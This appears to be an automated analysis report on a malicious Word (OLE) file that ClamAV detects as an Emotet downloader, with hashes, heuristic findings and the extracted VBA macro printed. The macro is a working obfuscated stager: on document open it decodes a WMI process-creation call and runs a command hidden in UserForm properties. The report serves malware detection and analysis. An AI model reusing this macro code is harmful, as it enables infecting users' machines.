Office (OLE) malware analysis — malicious · 608ee8e057af25aa

MALICIOUS

Office (OLE)

202.1 KB Created: 2020-02-07 06:57:00 Authoring application: Microsoft Office Word First seen: 2020-05-14

MD5: ed97c23ae28330668ac7857640f8e9d1 SHA-1: c80fa96e145290028cb144657c0f2e357e524df3 SHA-256: 608ee8e057af25aa01d6449635cdb3e8fe78f8ca85e7482476171fbba8346514

230 Risk Score

Heuristics 7

ClamAV: Doc.Downloader.Emotet-7580152-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-7580152-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Matched line in script
```
Megagsgig = Split(Xdivotyvdw, "3}{3")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set Vygnyhhbzoqn = CreateObject(Aqvpotskoc)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18488 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	18488 bytes
SHA-256: `3f0ca153559580e9909ea957f633b30e0089d4d0e2f2fcb78b469f2ea6345901`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Xbfsqvidiiy" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_open() WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Chifzzuxn.Ogwacyapxz End Sub Attribute VB_Name = "Tndtzwgq" Attribute VB_Base = "0{25F2D7D1-313A-47D2-BE09-8415E4BCBCFA}{2403BCA2-142D-40A2-ADFC-5845DFF10A47}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "Chifzzuxn" Function Ogwacyapxz() WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Kjaqqhrcaic = "3}{33}{3w3}{3i3}{33}{3n3}{3m3}{3g3}{33}{3mt3}{33}{3" + ChrW(Tndtzwgq.Zoom + 9 + 6) + ":3}{3wi3}{33}{3n33}{33}{33}{323}{33}{3_3}{33}{3" + Tndtzwgq.Apypmbituepdt + "r3}{33}{3o3}{3ce3}{3s3}{33}{3s3}{3" WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Aqvpotskoc = Dimkmsirbz(Kjaqqhrcaic) WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Set Vygnyhhbzoqn = CreateObject(Aqvpotskoc) WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Hxpfcooq = Tndtzwgq.Lhkgxzvf.Tag WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Lvxhmulxvdumd = Aqvpotskoc + ChrW(Tndtzwgq.Zoom + 9 + 6) + Tndtzwgq.Cxzbellkqoxzu.Tag + Hxpfcooq WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Weacrznmgpvx = Lvxhmulxvdumd + Tndtzwgq.Apypmbituepdt WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Set Etfimqhh = Aobqvgehe(Weacrznmgpvx) WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Call Vygnyhhbzoqn. _ Create(LlftsxEDRX2 + LlftsxEDRX2 + Hgxgjxletcwe + cvef, Opzjlpdlsmk, Etfimqhh) WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If End Function Function Aobqvgehe(Isjrmpeyvtl) WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Set Aobqvgehe = CreateObject(Isjrmpeyvtl) WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Aobqvgehe. _ showwindow = Ysvvscrf + Mltyeebkc WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If End Function Function Dimkmsirbz(Liapjrwbtvb) WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Xdivotyvdw = Liapjrwbtvb WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Megagsgig = Split(Xdivotyvdw, "3}{3") WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Griepdrdym = LN + Join(Megagsgig, NoLineBreakAfter) WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Dimkmsirbz = Griepdrdym End Function Function Hgxgjxletcwe() WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If ds34 = Tndtzwgq.Kyupynuqnfb.Pages(0).Caption WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If Hgxgjxletcwe = Dimkmsirbz(ds34) WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv") KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100) LlftsxEDRX = "TeEmFOuBFc" LlftsxEDRX2 = "" LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL" LlftsxEDRX = LlftsxEDRX & "wxsspKMrts" kZwVvFStKu = Len(LlftsxEDRX) jkxiWDRyHj = iENsfuJucu jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117) fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa") If jkxiWDRyHj <> KaQWCwVWzS Then ZNcEXXcZiR = KaQWCwVWzS bVjlgBogkn = 2 Do While bVjlgBogkn < 77 DoEvents: bVjlgBogkn = bVjlgBogkn + 1 Loop End If End Function

SHA-256: 3f0ca153559580e9909ea957f633b30e0089d4d0e2f2fcb78b469f2ea6345901

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "Xbfsqvidiiy"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
